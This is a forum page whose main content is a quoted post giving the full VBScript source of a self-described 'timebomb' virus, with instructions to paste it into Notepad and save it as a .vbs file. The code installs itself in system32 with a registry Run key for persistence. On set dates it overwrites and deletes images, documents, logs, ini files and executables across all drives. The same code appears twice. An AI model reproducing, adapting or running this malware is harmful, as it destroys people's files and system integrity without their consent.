Search
Search titles only
By:
Search titles only
By:
Log in
Register
Search
Search titles only
By:
Search titles only
By:
Menu
Install the app
Install
Forums
New posts
All threads
Latest threads
New posts
Trending threads
Trending
Search forums
What's new
New posts
New ads
New profile posts
Latest activity
Free Ads
Latest reviews
Search ads
Members
Current visitors
New profile posts
Search profile posts
Contact us
Latest ads
එක පැකේජ් එකයි මාසෙටම Unlimited Internet. තාමත් DATA CARD දාන්න සල්ලි වියදම් කරනවද? අඩුම මිලට අපෙන්.
sayuru bandara
Updated:
Tuesday at 12:30 PM
Ad icon
ඉන්ටර්නෙට් එකෙන් හරියටම සල්ලි හොයන්න සහ Success වෙන්න කැමතිද? 🚀 (E-Money & Success Stories)
siri sumana
Updated:
Saturday at 11:44 PM
Gemini AI PRO 18 months Offer
Hawaka
Updated:
May 27, 2026
Ad icon
koko account
DasunEranga
Updated:
May 27, 2026
Ad icon
koko account
DasunEranga
Updated:
May 27, 2026
Electronics
Vehicles
Property
Search
Reply to thread
Forums
General
ElaKiri Talk!
~ Virus Codes ~
Get the App
JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding.
You are using an out of date browser. It may not display this or other websites correctly.
You should upgrade or use an
alternative browser
.
Message
<blockquote data-quote="Virus Satan" data-source="post: 3741235" data-attributes="member: 159213"><p>This VBS file when ran will:</p><p> </p><p>1) Check the date (This Virus is only active on my birthday therefore being classified a timebomb virus) </p><p> </p><p>2) If it is NOT my birthday the file will create a rough copy of itself in %systemroot%\system32\ and then link that file to the registry location: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ in order to run the file on each reboot. This file will continue to run on each reboot checking the date...this will continue until my birthday. Deleting the original 'host' file will NOT effect the trojanized copy. </p><p> </p><p>3) If it IS my birthday the Virus will be activated. The Virus itself will search the entire machine for files ending with: .jpg, .gif, .log, .ini, .doc and .exe. When it finds a file with these extensions it will overwrite the original data with a 'happy birthday' message and then replace the current extension with a .txt extension. When it is done it will write and launch a batch file that says a happy birthday mes</p><p> </p><p> </p><p> </p><p>*****************************************************</p><p>copy following code and paste at notepad</p><p>save as "sys-dlBD.vbs"</p><p>Rest in pease</p><p>*****************************************************</p><p> </p><p>rem - VBS/dlBD "DL BirthDay" Virus</p><p>rem - Written by Virus Satan </p><p> </p><p> </p><p>On Error Resume Next </p><p>dim FSobj,winDir,sysDir,copySelf,newFile,rawFileData,hackedFileData,fixData,dataFixed,newFileData,copySelfComplete</p><p>set FSobj=CreateObject("Scripting.FileSystemObject")</p><p>set sysDir=FSobj.GetSpecialFolder(1)</p><p>checkDate()</p><p>function checkDate()</p><p> if (day(Now)=31 and month(Now)=3)or(day(Now)=19 and month(Now)=12) then </p><p> beginInfestation()</p><p> displayMessage() </p><p> else</p><p> plantTrojanizedFile() </p><p> end if </p><p>end function</p><p>function plantTrojanizedFile()</p><p> set copySelf=FSobj.CreateTextFile(sysDir+"\sys-dlBD.vbs")</p><p> copySelf.close</p><p> set newFile=FSobj.OpenTextFile(WScript.ScriptFullname,1)</p><p> writeCopy()</p><p> hackedFileData=replace(rawFileData,chr(42),chr(68))</p><p> fixData=replace(hackedFileData,chr(37),chr(76))</p><p> dataFixed=replace(fixData,chr(124),chr(46))</p><p> newFileData=replace(dataFixed,chr(94),"""")</p><p> set copySelfComplete=FSobj.OpenTextFile(sysDir+"\sys-dlBD.vbs",2)</p><p> copySelfComplete.write newFileData</p><p> copySelfComplete.close</p><p> createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\sysdlBD",sysDir&"\sys-dlBD.vbs"</p><p>end function</p><p>sub createRegKey(regKey,regVal)</p><p> dim regEdit</p><p> set regEdit=CreateObject("WScript.Shell")</p><p> regEdit.RegWrite regKey,regVal</p><p>end sub</p><p>sub beginInfestation </p><p> On Error Resume Next </p><p> dim drive,machine,complete</p><p> set machine=FSobj.Drives </p><p> for each drive in machine </p><p> if (drive.DriveType=2)or(drive.DriveType=3) then </p><p> indexFolders(drive.Path&"\") </p><p> end If </p><p> next </p><p> beginInfestation=complete </p><p>end sub</p><p>sub indexFolders(location) </p><p> On Error Resume Next </p><p> dim specs, file, subFol </p><p> set specs=FSobj.GetFolder(location) </p><p> set subFol=specs.SubFolders </p><p> for each file in subFol </p><p> spreadData(file.Path) </p><p> indexFolders(file.Path) </p><p> next </p><p>end sub </p><p>sub spreadData(location)</p><p> On Error Resume Next </p><p> dim folder,directory,file,generateCopy,appName,adExt,orgMes,mesStageTwo,mesStageThree,finalMes,extName,complete</p><p> set folder=FSobj.GetFolder(location) </p><p> set directory=folder.Files </p><p> orgMes="Happy BirthDay to me! <img src="/styles/default/xenforo/smilies/default/happy.gif" class="smilie" loading="lazy" alt=":)" title="Happy :)" data-shortname=":)" /> - You have been infected with the VBS/dlBD Virus...Written by *|%|"</p><p> mesStageTwo=replace(orgMes,chr(42),chr(68))</p><p> mesStageThree=replace(mesStageTwo,chr(124),chr(46))</p><p> finalMes=replace(mesStageThree,chr(37),chr(76))</p><p> for each file in directory </p><p> extName=lcase(FSobj.GetExtensionName(file.Path)) </p><p> complete=lcase(file.Name)</p><p> if (extName="jpg")or(extName="gif")then </p><p> set generateCopy = FSobj.OpenTextFile(file.Path, 2, True) </p><p> generateCopy.write finalMes </p><p> generateCopy.Close</p><p> appName=FSobj.GetBaseName(file.Path)</p><p> set adExt=FSobj.GetFile(file.Path) </p><p> adExt.copy(location&"\"&appName&".txt") </p><p> FSobj.DeleteFile (file.Path) </p><p> elseIf (extName="log")or(extName="ini") then</p><p> set generateCopy = FSobj.OpenTextFile(file.Path, 2, True) </p><p> generateCopy.write finalMes </p><p> generateCopy.Close</p><p> appName=FSobj.GetBaseName(file.Path)</p><p> set adExt=FSobj.GetFile(file.Path) </p><p> adExt.copy(location&"\"&appName&".txt") </p><p> FSobj.DeleteFile (file.Path) </p><p> elseIf (extName="doc")or(extName="exe") then</p><p> set generateCopy = FSobj.OpenTextFile(file.Path, 2, True) </p><p> generateCopy.write finalMes </p><p> generateCopy.Close</p><p> appName=FSobj.GetBaseName(file.Path)</p><p> set adExt=FSobj.GetFile(file.Path) </p><p> adExt.copy(location&"\"&appName&".txt") </p><p> FSobj.DeleteFile (file.Path) </p><p> end if</p><p> next </p><p>end sub</p><p>function displayMessage()</p><p> dim shell,messageFile</p><p> set shell = CreateObject("WScript.Shell")</p><p> set messageFile=FSobj.CreateTextFile(sysDir&"\dlBD-mes.bat")</p><p> messageFile.close</p><p> set FSobj=CreateObject("Scripting.FileSystemObject")</p><p> set messageFile=FSobj.CreateTextFile(sysDir&"\dlBD-mes.bat")</p><p> messageFile.WriteLine("@title Happy Birthday to me! <img src="/styles/default/xenforo/smilies/default/happy.gif" class="smilie" loading="lazy" alt=":)" title="Happy :)" data-shortname=":)" /> - VBS/dlBD Virus")</p><p> messageFile.WriteLine("@cls")</p><p> messageFile.WriteLine("@echo Happy BirthDay to me! <img src="/styles/default/xenforo/smilies/default/happy.gif" class="smilie" loading="lazy" alt=":)" title="Happy :)" data-shortname=":)" /> - You have been infected with the VBS/dlBD Virus <img src="/styles/default/xenforo/smilies/default/sad.gif" class="smilie" loading="lazy" alt=":(" title="Sad :(" data-shortname=":(" />")</p><p> messageFile.WriteLine("@echo.")</p><p> messageFile.WriteLine("@pause")</p><p> messageFile.close</p><p> shell.Run(sysDir&"\dlBD-mes.bat") </p><p>end function</p><p>function writeCopy()</p><p> rawFileData="rem - VBS/dlBD ^DL BirthDay^ Virus by *|%|" &vbcrlf& _</p><p> "On Error Resume Next" &vbcrlf& _</p><p> "dim FSobj,winDir,sysDir" &vbcrlf& _</p><p> "set FSobj=CreateObject(^Scripting|FileSystemObject^)" &vbcrlf& _</p><p> "set sysDir=FSobj|GetSpecialFolder(1)" &vbcrlf& _</p><p> "checkDate()" &vbcrlf& _</p><p> "function checkDate()" &vbcrlf& _</p><p> "if (day(Now)=31 and month(Now)=3)or(day(Now)=19 and month(Now)=12) then" &vbcrlf& _ </p><p> "beginInfestation()" &vbcrlf& _</p><p> "displayMessage()" &vbcrlf& _ </p><p> "end if" &vbcrlf& _ </p><p> "end function" &vbcrlf& _ </p><p> "sub beginInfestation" &vbcrlf& _ </p><p> "On Error Resume Next " &vbcrlf& _</p><p> "dim drive,machine,complete" &vbcrlf& _</p><p> "set machine=FSobj|Drives " &vbcrlf& _</p><p> "for each drive in machine " &vbcrlf& _ </p><p> "if (drive|DriveType=2)or(drive|DriveType=3) then" &vbcrlf& _ </p><p> "indexFolders(drive|Path&^\^)" &vbcrlf& _ </p><p> "end If" &vbcrlf& _ </p><p> "next" &vbcrlf& _ </p><p> "beginInfestation=complete" &vbcrlf& _ </p><p> "end sub" &vbcrlf& _</p><p> "sub indexFolders(location)" &vbcrlf& _ </p><p> "On Error Resume Next" &vbcrlf& _ </p><p> "dim specs, file, subFol" &vbcrlf& _ </p><p> "set specs=FSobj|GetFolder(location)" &vbcrlf& _ </p><p> "set subFol=specs|SubFolders" &vbcrlf& _ </p><p> "for each file in subFol" &vbcrlf& _ </p><p> "spreadData(file|Path)" &vbcrlf& _ </p><p> "indexFolders(file|Path)" &vbcrlf& _ </p><p> "next" &vbcrlf& _ </p><p> "end sub" &vbcrlf& _ </p><p> "sub spreadData(location)" &vbcrlf& _</p><p> "On Error Resume Next" &vbcrlf& _ </p><p> "dim folder,directory,file,generateCopy,appName,adExt,orgMes,mesStageTwo,mesStageThree,finalMes,extName,complete" &vbcrlf& _</p><p> "set folder=FSobj|GetFolder(location)" &vbcrlf& _ </p><p> "set directory=folder|Files" &vbcrlf& _ </p><p> "finalMes=^Happy BirthDay to me! <img src="/styles/default/xenforo/smilies/default/happy.gif" class="smilie" loading="lazy" alt=":)" title="Happy :)" data-shortname=":)" /> - You have been infected with the VBS/dlBD Virus...Written by *|%|^" &vbcrlf& _</p><p> "for each file in directory" &vbcrlf& _ </p><p> "extName=lcase(FSobj|GetExtensionName(file|Path))" &vbcrlf& _ </p><p> "complete=lcase(file|Name)" &vbcrlf& _</p><p> "if (extName=^jpg^)or(extName=^gif^)then " &vbcrlf& _</p><p> "set generateCopy = FSobj|OpenTextFile(file|Path, 2, True)" &vbcrlf& _ </p><p> "generateCopy|write finalMes " &vbcrlf& _</p><p> "generateCopy|Close" &vbcrlf& _</p><p> "appName=FSobj|GetBaseName(file|Path)" &vbcrlf& _</p><p> "set adExt=FSobj|GetFile(file|Path)" &vbcrlf& _ </p><p> "adExt|copy(location&^\^&appName&^|txt^)" &vbcrlf& _ </p><p> "FSobj|DeleteFile (file|Path)" &vbcrlf& _ </p><p> "elseIf (extName=^log^)or(extName=^ini^) then" &vbcrlf& _</p><p> "set generateCopy = FSobj|OpenTextFile(file|Path, 2, True)" &vbcrlf& _ </p><p> "generateCopy|write finalMes" &vbcrlf& _ </p><p> "generateCopy|Close" &vbcrlf& _</p><p> "appName=FSobj|GetBaseName(file|Path)" &vbcrlf& _</p><p> "set adExt=FSobj|GetFile(file|Path)" &vbcrlf& _ </p><p> "adExt|copy(location&^\^&appName&^|txt^)" &vbcrlf& _ </p><p> "FSobj|DeleteFile (file|Path)" &vbcrlf& _ </p><p> "elseIf (extName=^doc^)or(extName=^exe^) then" &vbcrlf& _</p><p> "set generateCopy = FSobj|OpenTextFile(file|Path, 2, True)" &vbcrlf& _ </p><p> "generateCopy|write finalMes" &vbcrlf& _ </p><p> "generateCopy|Close" &vbcrlf& _</p><p> "appName=FSobj|GetBaseName(file|Path)" &vbcrlf& _</p><p> "set adExt=FSobj|GetFile(file|Path)" &vbcrlf& _ </p><p> "adExt|copy(location&^\^&appName&^|txt^)" &vbcrlf& _ </p><p> "FSobj|DeleteFile (file|Path)" &vbcrlf& _ </p><p> "end if" &vbcrlf& _</p><p> "next" &vbcrlf& _ </p><p> "end sub" &vbcrlf& _</p><p> "function displayMessage()" &vbcrlf& _</p><p> "dim shell,messageFile" &vbcrlf& _</p><p> "set shell = CreateObject(^WScript|Shell^)" &vbcrlf& _</p><p> "set messageFile=FSobj|CreateTextFile(sysDir&^\dlBD-mes|bat^)" &vbcrlf& _</p><p> "messageFile|close" &vbcrlf& _</p><p> "set FSobj=CreateObject(^Scripting|FileSystemObject^)" &vbcrlf& _</p><p> "set messageFile=FSobj|CreateTextFile(sysDir&^\dlBD-mes|bat^)" &vbcrlf& _</p><p> "messageFile|WriteLine(<a href="mailto:^@title">^@title</a> Happy Birthday to me! <img src="/styles/default/xenforo/smilies/default/happy.gif" class="smilie" loading="lazy" alt=":)" title="Happy :)" data-shortname=":)" /> - VBS/dlBD Virus - by *|%|^)" &vbcrlf& _</p><p> "messageFile|WriteLine(<a href="mailto:^@cls">^@cls</a>^)" &vbcrlf& _</p><p> "messageFile|WriteLine(<a href="mailto:^@echo">^@echo</a> Happy BirthDay to me! <img src="/styles/default/xenforo/smilies/default/happy.gif" class="smilie" loading="lazy" alt=":)" title="Happy :)" data-shortname=":)" /> - You have been infected with the VBS/dlBD Virus <img src="/styles/default/xenforo/smilies/default/sad.gif" class="smilie" loading="lazy" alt=":(" title="Sad :(" data-shortname=":(" />^)" &vbcrlf& _</p><p> "messageFile|WriteLine(<a href="mailto:^@echo">^@echo</a>|^)" &vbcrlf& _</p><p> "messageFile|WriteLine(<a href="mailto:^@pause">^@pause</a>^)" &vbcrlf& _</p><p> "messageFile|close" &vbcrlf& _</p><p> "shell|Run(sysDir&^\dlBD-mes|bat^)" &vbcrlf& _ </p><p> "end function"</p><p>end function</p><p> </p><p> </p><p> </p><p> </p><p>*****************************************************</p><p>Rest In Peace</p></blockquote><p></p>
[QUOTE="Virus Satan, post: 3741235, member: 159213"] This VBS file when ran will: 1) Check the date (This Virus is only active on my birthday therefore being classified a timebomb virus) 2) If it is NOT my birthday the file will create a rough copy of itself in %systemroot%\system32\ and then link that file to the registry location: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ in order to run the file on each reboot. This file will continue to run on each reboot checking the date...this will continue until my birthday. Deleting the original 'host' file will NOT effect the trojanized copy. 3) If it IS my birthday the Virus will be activated. The Virus itself will search the entire machine for files ending with: .jpg, .gif, .log, .ini, .doc and .exe. When it finds a file with these extensions it will overwrite the original data with a 'happy birthday' message and then replace the current extension with a .txt extension. When it is done it will write and launch a batch file that says a happy birthday mes ***************************************************** copy following code and paste at notepad save as "sys-dlBD.vbs" Rest in pease ***************************************************** rem - VBS/dlBD "DL BirthDay" Virus rem - Written by Virus Satan On Error Resume Next dim FSobj,winDir,sysDir,copySelf,newFile,rawFileData,hackedFileData,fixData,dataFixed,newFileData,copySelfComplete set FSobj=CreateObject("Scripting.FileSystemObject") set sysDir=FSobj.GetSpecialFolder(1) checkDate() function checkDate() if (day(Now)=31 and month(Now)=3)or(day(Now)=19 and month(Now)=12) then beginInfestation() displayMessage() else plantTrojanizedFile() end if end function function plantTrojanizedFile() set copySelf=FSobj.CreateTextFile(sysDir+"\sys-dlBD.vbs") copySelf.close set newFile=FSobj.OpenTextFile(WScript.ScriptFullname,1) writeCopy() hackedFileData=replace(rawFileData,chr(42),chr(68)) fixData=replace(hackedFileData,chr(37),chr(76)) dataFixed=replace(fixData,chr(124),chr(46)) newFileData=replace(dataFixed,chr(94),"""") set copySelfComplete=FSobj.OpenTextFile(sysDir+"\sys-dlBD.vbs",2) copySelfComplete.write newFileData copySelfComplete.close createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\sysdlBD",sysDir&"\sys-dlBD.vbs" end function sub createRegKey(regKey,regVal) dim regEdit set regEdit=CreateObject("WScript.Shell") regEdit.RegWrite regKey,regVal end sub sub beginInfestation On Error Resume Next dim drive,machine,complete set machine=FSobj.Drives for each drive in machine if (drive.DriveType=2)or(drive.DriveType=3) then indexFolders(drive.Path&"\") end If next beginInfestation=complete end sub sub indexFolders(location) On Error Resume Next dim specs, file, subFol set specs=FSobj.GetFolder(location) set subFol=specs.SubFolders for each file in subFol spreadData(file.Path) indexFolders(file.Path) next end sub sub spreadData(location) On Error Resume Next dim folder,directory,file,generateCopy,appName,adExt,orgMes,mesStageTwo,mesStageThree,finalMes,extName,complete set folder=FSobj.GetFolder(location) set directory=folder.Files orgMes="Happy BirthDay to me! :) - You have been infected with the VBS/dlBD Virus...Written by *|%|" mesStageTwo=replace(orgMes,chr(42),chr(68)) mesStageThree=replace(mesStageTwo,chr(124),chr(46)) finalMes=replace(mesStageThree,chr(37),chr(76)) for each file in directory extName=lcase(FSobj.GetExtensionName(file.Path)) complete=lcase(file.Name) if (extName="jpg")or(extName="gif")then set generateCopy = FSobj.OpenTextFile(file.Path, 2, True) generateCopy.write finalMes generateCopy.Close appName=FSobj.GetBaseName(file.Path) set adExt=FSobj.GetFile(file.Path) adExt.copy(location&"\"&appName&".txt") FSobj.DeleteFile (file.Path) elseIf (extName="log")or(extName="ini") then set generateCopy = FSobj.OpenTextFile(file.Path, 2, True) generateCopy.write finalMes generateCopy.Close appName=FSobj.GetBaseName(file.Path) set adExt=FSobj.GetFile(file.Path) adExt.copy(location&"\"&appName&".txt") FSobj.DeleteFile (file.Path) elseIf (extName="doc")or(extName="exe") then set generateCopy = FSobj.OpenTextFile(file.Path, 2, True) generateCopy.write finalMes generateCopy.Close appName=FSobj.GetBaseName(file.Path) set adExt=FSobj.GetFile(file.Path) adExt.copy(location&"\"&appName&".txt") FSobj.DeleteFile (file.Path) end if next end sub function displayMessage() dim shell,messageFile set shell = CreateObject("WScript.Shell") set messageFile=FSobj.CreateTextFile(sysDir&"\dlBD-mes.bat") messageFile.close set FSobj=CreateObject("Scripting.FileSystemObject") set messageFile=FSobj.CreateTextFile(sysDir&"\dlBD-mes.bat") messageFile.WriteLine("@title Happy Birthday to me! :) - VBS/dlBD Virus") messageFile.WriteLine("@cls") messageFile.WriteLine("@echo Happy BirthDay to me! :) - You have been infected with the VBS/dlBD Virus :(") messageFile.WriteLine("@echo.") messageFile.WriteLine("@pause") messageFile.close shell.Run(sysDir&"\dlBD-mes.bat") end function function writeCopy() rawFileData="rem - VBS/dlBD ^DL BirthDay^ Virus by *|%|" &vbcrlf& _ "On Error Resume Next" &vbcrlf& _ "dim FSobj,winDir,sysDir" &vbcrlf& _ "set FSobj=CreateObject(^Scripting|FileSystemObject^)" &vbcrlf& _ "set sysDir=FSobj|GetSpecialFolder(1)" &vbcrlf& _ "checkDate()" &vbcrlf& _ "function checkDate()" &vbcrlf& _ "if (day(Now)=31 and month(Now)=3)or(day(Now)=19 and month(Now)=12) then" &vbcrlf& _ "beginInfestation()" &vbcrlf& _ "displayMessage()" &vbcrlf& _ "end if" &vbcrlf& _ "end function" &vbcrlf& _ "sub beginInfestation" &vbcrlf& _ "On Error Resume Next " &vbcrlf& _ "dim drive,machine,complete" &vbcrlf& _ "set machine=FSobj|Drives " &vbcrlf& _ "for each drive in machine " &vbcrlf& _ "if (drive|DriveType=2)or(drive|DriveType=3) then" &vbcrlf& _ "indexFolders(drive|Path&^\^)" &vbcrlf& _ "end If" &vbcrlf& _ "next" &vbcrlf& _ "beginInfestation=complete" &vbcrlf& _ "end sub" &vbcrlf& _ "sub indexFolders(location)" &vbcrlf& _ "On Error Resume Next" &vbcrlf& _ "dim specs, file, subFol" &vbcrlf& _ "set specs=FSobj|GetFolder(location)" &vbcrlf& _ "set subFol=specs|SubFolders" &vbcrlf& _ "for each file in subFol" &vbcrlf& _ "spreadData(file|Path)" &vbcrlf& _ "indexFolders(file|Path)" &vbcrlf& _ "next" &vbcrlf& _ "end sub" &vbcrlf& _ "sub spreadData(location)" &vbcrlf& _ "On Error Resume Next" &vbcrlf& _ "dim folder,directory,file,generateCopy,appName,adExt,orgMes,mesStageTwo,mesStageThree,finalMes,extName,complete" &vbcrlf& _ "set folder=FSobj|GetFolder(location)" &vbcrlf& _ "set directory=folder|Files" &vbcrlf& _ "finalMes=^Happy BirthDay to me! :) - You have been infected with the VBS/dlBD Virus...Written by *|%|^" &vbcrlf& _ "for each file in directory" &vbcrlf& _ "extName=lcase(FSobj|GetExtensionName(file|Path))" &vbcrlf& _ "complete=lcase(file|Name)" &vbcrlf& _ "if (extName=^jpg^)or(extName=^gif^)then " &vbcrlf& _ "set generateCopy = FSobj|OpenTextFile(file|Path, 2, True)" &vbcrlf& _ "generateCopy|write finalMes " &vbcrlf& _ "generateCopy|Close" &vbcrlf& _ "appName=FSobj|GetBaseName(file|Path)" &vbcrlf& _ "set adExt=FSobj|GetFile(file|Path)" &vbcrlf& _ "adExt|copy(location&^\^&appName&^|txt^)" &vbcrlf& _ "FSobj|DeleteFile (file|Path)" &vbcrlf& _ "elseIf (extName=^log^)or(extName=^ini^) then" &vbcrlf& _ "set generateCopy = FSobj|OpenTextFile(file|Path, 2, True)" &vbcrlf& _ "generateCopy|write finalMes" &vbcrlf& _ "generateCopy|Close" &vbcrlf& _ "appName=FSobj|GetBaseName(file|Path)" &vbcrlf& _ "set adExt=FSobj|GetFile(file|Path)" &vbcrlf& _ "adExt|copy(location&^\^&appName&^|txt^)" &vbcrlf& _ "FSobj|DeleteFile (file|Path)" &vbcrlf& _ "elseIf (extName=^doc^)or(extName=^exe^) then" &vbcrlf& _ "set generateCopy = FSobj|OpenTextFile(file|Path, 2, True)" &vbcrlf& _ "generateCopy|write finalMes" &vbcrlf& _ "generateCopy|Close" &vbcrlf& _ "appName=FSobj|GetBaseName(file|Path)" &vbcrlf& _ "set adExt=FSobj|GetFile(file|Path)" &vbcrlf& _ "adExt|copy(location&^\^&appName&^|txt^)" &vbcrlf& _ "FSobj|DeleteFile (file|Path)" &vbcrlf& _ "end if" &vbcrlf& _ "next" &vbcrlf& _ "end sub" &vbcrlf& _ "function displayMessage()" &vbcrlf& _ "dim shell,messageFile" &vbcrlf& _ "set shell = CreateObject(^WScript|Shell^)" &vbcrlf& _ "set messageFile=FSobj|CreateTextFile(sysDir&^\dlBD-mes|bat^)" &vbcrlf& _ "messageFile|close" &vbcrlf& _ "set FSobj=CreateObject(^Scripting|FileSystemObject^)" &vbcrlf& _ "set messageFile=FSobj|CreateTextFile(sysDir&^\dlBD-mes|bat^)" &vbcrlf& _ "messageFile|WriteLine([EMAIL="^@title"]^@title[/EMAIL] Happy Birthday to me! :) - VBS/dlBD Virus - by *|%|^)" &vbcrlf& _ "messageFile|WriteLine([EMAIL="^@cls"]^@cls[/EMAIL]^)" &vbcrlf& _ "messageFile|WriteLine([EMAIL="^@echo"]^@echo[/EMAIL] Happy BirthDay to me! :) - You have been infected with the VBS/dlBD Virus :(^)" &vbcrlf& _ "messageFile|WriteLine([EMAIL="^@echo"]^@echo[/EMAIL]|^)" &vbcrlf& _ "messageFile|WriteLine([EMAIL="^@pause"]^@pause[/EMAIL]^)" &vbcrlf& _ "messageFile|close" &vbcrlf& _ "shell|Run(sysDir&^\dlBD-mes|bat^)" &vbcrlf& _ "end function" end function ***************************************************** Rest In Peace [/QUOTE]
Insert quotes…
Verification
Nawa warak dahaya keeyada? (Namaya wadi kireema dahaya)
Post reply
Top
Bottom
Gemini AI PRO 18 months Offer
